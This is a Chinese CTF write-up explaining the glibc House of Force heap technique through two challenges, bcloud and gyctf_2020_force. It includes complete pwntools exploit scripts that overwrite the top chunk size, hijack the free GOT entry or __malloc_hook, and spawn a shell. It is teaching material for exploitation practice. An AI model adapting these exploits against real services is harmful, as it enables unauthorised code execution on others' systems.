1. 程式人生 > 其它 >House of Force

House of Force

House of Force

0x00 原理介紹

當申請的chunk足夠大,glibc在tcache和bins中都找不到匹配大小的時候,就會對top chunk進行分割,取出合適大小 、進行分配。House of Force作為一種堆利用方式,關鍵是利用溢位漏洞對top chunk的size進行改寫,讓size非常大,這樣top chunk的範圍包含了像.data和.bss這些資料段。這樣我們在申請chunk分配之後就可以有任意寫操作。

在匹配完空閒塊找不到合適之後,malloc機制會拿申請的chunk的大小與top chunk比較。

// 獲取當前的top chunk,並計算其對應的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之後,其大小仍然滿足 chunk 的最小大小,那麼就可以直接進行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

當把size改為非常大時,我們申請任意一個比其小的,就可以繞過這個驗證。

一般會改size為-1,這樣儲存的形式是以補碼0xffffffffffffffff的形式存在的,這就已經是非常大的了,不能再大了。如此驗證很輕鬆就繞過。

remainder      = chunk_at_offset(victim, nb);
av->top        = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

隨著chunk的申請指標會不斷更新

所以,申請之後讓top chunk的指標指向target-0x10處,那麼再下一次分配我們將到達控制target的目的。

總之,house of force需要有兩個條件

  • 利用漏洞使得 top chunk 的 size 域被改寫
  • 可以申請 可控大小的chunk

0x01 bcloud

try

root@ubuntu20:~/hof# ./bcloud 
Input your name:
ln
Hey ln! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
1
Host:
1.1.1.1
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>

checksec

root@ubuntu20:~/hof# checksec bcloud
[*] '/root/hof/bcloud'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8047000)
    RUNPATH:  '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_i386'

0x02 虛擬碼分析

拖進ida,注意是32位,程式大概的功能:

1.new:輸入size,malloc大小為size+4的塊,儲存返回指標到ptr_array[i],儲存size大小到size_array[i],輸入內容,若建立成功,返回note的id,dword_804B0E0[idx]標誌置零

2.show:show函式只是個幌子,沒有用

3.edit:輸入id,根據輸入id從ptr_array[idx]取出對應的chunk指標,賦值給ptr,輸入內容,通過ptr重新修改,dword_804B0E0[idx]標誌置零

4.delete:輸入id,根據id找到chunk的正文指標賦給ptr,清空存放的指標還有size,再free chunk

5.sync_note:輸入id,把dword_804B0E0[idx]標誌置為1

6.input_name : 初始化緩衝區,輸入name,長度可以為64個位元組,申請一個0x40的chunk返回指標賦值給ptr,拷貝剛剛輸入的字串到chunk裡面,通過print ptr輸出chunk的內容。

0x03 漏洞利用

int __cdecl iread(int a1, int a2, char a3)
{
  char buf; // [esp+1Bh] [ebp-Dh] BYREF
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  *(_BYTE *)(i + a1) = 0;
  return i;
}

iread函式是一個自定義的讀入字元的函式,但是這裡邊界沒有嚴格檢查,出現off-by-one漏洞,null byte overflow

0x04 洩露地址

在初始化input_name的時候,可以輸入64個字元恰好把ptr的低位元組覆蓋成\x00,

  char s[64]; 
  char *ptr; 

ptr在後面申請的chunk返回指標又會把這個\x00給覆蓋掉,

 ptr = (char *)malloc(0x40u);

造成原本的name沒有00結束符截斷,會把ptr這個指標一併拷貝給chunk,通過printf就可以洩露該地址,就是chunk的地址

code如下:

io.sendafter("Input your name:\n", 'a' * 0x40)
io.recvuntil('a' * 0x40)
chunk1_data_addr = u32(io.recvn(4))
log.info('chunk1_data_addr:0x%x' % chunk1_data_addr)

0x05 覆蓋修改top chunk頭

input_org_host函式幾個區域性變數在棧中的情況大概如下:

構造0x40*'X'0xffffffff+(0x40-4)*'Y'分別對應輸入

再經過拷貝

  strcpy(ptr2, t);
  strcpy(ptr1, s);

code如下:

io.sendafter("Org:\n", 'X' * 0x40)
io.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'Y')
io.recvuntil("OKay! Enjoy:)\n")

就會出現如下的記憶體分佈情況:

此時,top chunk的size已經被改為0xffffffff

0x06 準確偏移到target

從之前溢位的chunk1的地址,加上偏移即可算出top chunk的地址

top_chunk_addr = chunk1_data_addr + 0xd0 (0x48-0x8+0x48+0x48)

選定儲存note指標的地方作為我們target

.bss: 0804B120 ptr_array

算出偏移,也就是即將申請的chunk大小,

evil_data_size = ptr_array - top_chunk_addr - 8 - 8

這樣在new出來evil之後,top chunk的頭部剛好落在ptr_array-0x8的位置,這樣再申請下一個chunk的正文部分必然落到ptr_array上

new_note(evil_data_size - 4, "") #-4呼應了虛擬碼的+4

0x07 洩露libc基地址,覆蓋got表項

注意:不可根據前面洩露的chunk的地址來算libc的基地址,因為heap和libc的偏移不是固定的。

這道題的RELROPIE保護都沒有開,所以可以改got表項

把free@got指向puts@plt,再用puts函式輸出printf@got的值也就是printf的地址,這樣就可以算libc的基地址

new_note(0x40, 'AA')            #1
new_note(0x40, 'BB')            #2
new_note(0x40, 'CC')            #3
new_note(0x40, 'DD')            #4
new_note(0x40, '/bin/sh')       #5

edit_note(1, p32(0) + p32(ptr_array) + p32(free_got) + p32(printf_got))
edit_note(2,  p32(puts_plt))
del_note(3)
printf_addr = u32(io.recv(4))
log.info('printf_addr: 0x%x',printf_addr)

libc_base = printf_addr - libc.sym["printf"]
log.info('libc_base addr:0x%x',libc_base)

system_addr = libc_base+ libc.symbols["system"]
log.info('system_addr:0x%x' % system_addr)

0x08 寫入system

按照洩露的思路,把free改成system

有如下code:

edit_note(2,p32(system_addr))
del_note(5)

io.interactive()

tips:不要動evil chunk

之前一開始想著,把id為0的改成free@got地址,再edit成system地址就好了

edit_note(1, p32(free_got))
edit_note(0, p32(system_addr))

但是出錯了

原因是id為0時的chunk,正是我們申請的evil chunk,他的size很大(0xfffff034),這就導致了edit的時iread(ptr, size, 10)出錯。

所以要避開使用id=0的這個evil chunk

0x08完整exploit

# -*- coding: utf-8 -*- 
from pwn import *

context.terminal = ['gnome-terminal','-x','sh','-c']
context.update(arch='i386', os='linux')
io = process('./bcloud')
libc = ELF("./libc-2.23.so")

def new_note(size, content):
    io.sendlineafter('option--->>\n', '1')
    io.sendlineafter("Input the length of the note content:\n", str(size))
    io.sendlineafter("Input the content:\n", content)
    io.recvline()

def edit_note(idx, content):
    io.sendlineafter('option--->>\n', '3')
    io.sendlineafter("Input the id:\n", str(idx))
    io.sendlineafter("Input the new content:\n", content)
    io.recvline()


def del_note(idx):
    io.sendlineafter('option--->>\n', '4')
    io.sendlineafter("Input the id:\n", str(idx))

ptr_array = 0x804b120
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010

io.sendafter("Input your name:\n", 'a' * 0x40)
io.recvuntil('a' * 0x40)
chunk1_data_addr = u32(io.recvn(4))
log.info('chunk1_data_addr:0x%x' % chunk1_data_addr)

io.sendafter("Org:\n", 'X' * 0x40)
io.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'Y')
io.recvuntil("OKay! Enjoy:)\n")

top_chunk_addr = chunk1_data_addr + 0xd0
log.info('top_chunk_addr:'+str(hex(top_chunk_addr)))
evil_data_size = ptr_array - top_chunk_addr - 8 - 8
log.info('evil_data_size:'+ str(hex(evil_data_size)))
new_note(evil_data_size - 4, "") #0

new_note(0x40, 'AA')            #1
new_note(0x40, 'BB')            #2
new_note(0x40, 'CC')            #3
new_note(0x40, 'DD')            #4
new_note(0x40, '/bin/sh')       #5


edit_note(1, p32(0) + p32(ptr_array) + p32(free_got) + p32(printf_got))
edit_note(2,  p32(puts_plt))
del_note(3)

printf_addr = u32(io.recv(4))
log.info('printf_addr: 0x%x',printf_addr)

libc_base = printf_addr - libc.sym["printf"]
log.info('libc_base addr:0x%x',libc_base)

system_addr = libc_base+ libc.symbols["system"]
log.info('system_addr:0x%x' % system_addr)
pause()

edit_note(2,p32(system_addr))
del_note(5)

io.interactive()

總結:

有個之前忽略的地方,現在明白了,就是heap基地址和libc基地址的偏移不會是固定的,而vmmap和libc的基地址才是固定的。總體來說不是很難。

0x01 gyctf_2020_force

try

root@ubuntu20:~/hof# ./gyctf_2020_force 
1:add
2:puts
1
size
32
bin addr 0x55555575c010
content
aa
done
1:add
2:puts
2

1:add
2:puts

checksec一下,保護全開

root@ubuntu20:~/hof# checksec gyctf_2020_force
[*] '/root/hof/gyctf_2020_force'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/'	

0x02 虛擬碼分析

​ 拉進ida64,程式的大概功能是:

1.輸入命令

2.add函式:輸入任意大小的size,根據size大小申請chunk並將返回的地址逐個存入ptr_array陣列中,然後把該指標地址輸出,再輸入最大0x50大小的內容

3.puts:puts函式puts同一個毫不相干的地址單元,沒有用處

0x03 漏洞利用

  • add函式中
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *ptr_array = malloc(size);
  if ( !*ptr_array )
    exit(0);
  printf("bin addr %p\n", *ptr_array);
  puts("content");
  read(0, (void *)*ptr_array, 0x50uLL);

由於size可控,便可申請小於0x50的chunk,讀入超過size的內容,造成溢位

可覆蓋top chunk頭部,造成house of force

0x04 洩露地址

申請一個足夠大的size,讓mmap來分配記憶體,返回的地址會被printf輸出,由於mmap和libc的基地址偏移是固定不變的,所以可以根據偏移可以算出libc的基地址

code如下:

libc_base = new(200000,'aa')-0x5b4010
log.info('libc base addr: 0x%x',libc_base)

0x05 覆蓋修改top chunk頭

根據前面的漏洞,我們可以申請一個0x20大小的chunk,然後輸入超過0x20大小的內容,修改topchunk的頭部

chunk_0 = new(0x20,'a'*0x20+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #top_chunk size
top_chunk = chunk_0 + 0x20
log.info('top_chunk addr: 0x%x',top_chunk)

0x06 準確偏移到target

由於程式保護全開,我們需要進行hook劫持

毫無疑問,malloc_hook將會是我們的target。

那就要讓top chunk的頭部跑到malloc_hook的前面0x10處這樣才會讓申請的下一個chunk的返回指標指向malloc_hook,然後我們往malloc_hook填入one_gadget,以此到達getshell目的。

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc.sym['__libc_realloc'] + libc_base
log.info('malloc_hook and libc_realloc addr: 0x%x,0x%x',malloc_hook,realloc)

size = malloc_hook - top_chunk - 0x10 		#offset

0x07 realloc_hook微調棧幀 rsp

但是經過嘗試,4個one_gadget沒有一個能直接getshell;原因就是條件沒有符合

root@ubuntu20:~/hof# one_gadget /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so 
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

要知道每一個libc的one_gadget能夠成功執行,都需要前提條件滿足就是上面的constrains。

這就涉及到利用realloc_hook微調rsp 來使得條件滿足。

大致的執行流程如下:

malloc_hook  -->  realloc_hook+0x10 --> realloc_hook --> onegadget  

code如下:

new(size-0x20,b'a')
one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
log.info('one_gadget addr: 0x%x',one_gadget[1]+libc_base)
new(0x10, 'a' * 0x8 + p64(one_gadget[1]+libc_base) + p64(realloc + 0x10))

pause()
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x30))#執行malloc_hook -> realloc_hook+0x10->realloc_hook-> onegadget
p.interactive()

覆蓋malloc和realloc之前,記憶體情況如下:

覆蓋之後,執行情況如下:

0x08 完整的exploit

from pwn import *

p = process('./gyctf_2020_force')
elf = ELF('./gyctf_2020_force')
libc = elf.libc

def new(size, content):
    p.sendlineafter('2:puts\n', '1')
    p.sendlineafter('size\n', str(size))
    p.recvuntil('addr ')
    addr = int(p.recv(14), 16)
    p.sendlineafter('content\n', content)
    return addr

libc_base = new(200000,'aa')-0x5b8000-0x10
log.info('libc base addr: 0x%x',libc_base)

chunk_0 = new(0x20,'a'*0x20+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #top_chunk size
top_chunk = chunk_0 + 0x20
log.info('top_chunk addr: 0x%x',top_chunk)
pause()

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc.sym['__libc_realloc'] + libc_base
log.info('malloc_hook and libc_realloc addr: 0x%x,0x%x',malloc_hook,realloc)

size = malloc_hook - top_chunk - 0x10
new(size-0x20,b'a')
pause()
one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
log.info('one_gadget addr: 0x%x',one_gadget[1]+libc_base)
#new(0x30,p64(one_gadget[2]+libc_base)+p64(0))
new(0x10, 'a' * 0x8 + p64(one_gadget[1]+libc_base) + p64(realloc + 0x10))

pause()
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x30))
p.interactive()

總結

這道題有兩個關鍵,house of force自然不用說,一是mmap洩露地址,跟之前做過的Asis CTF 2016 b00ks洩露地址的姿勢是一樣的;二是在one_gadget條件不滿足的情況下,用realloc來微調rsp,使條件滿足。

house of force的精髓一是溢位修改top chunk頭

二是計算好target與超大top chunk的offset

三是分配,控制target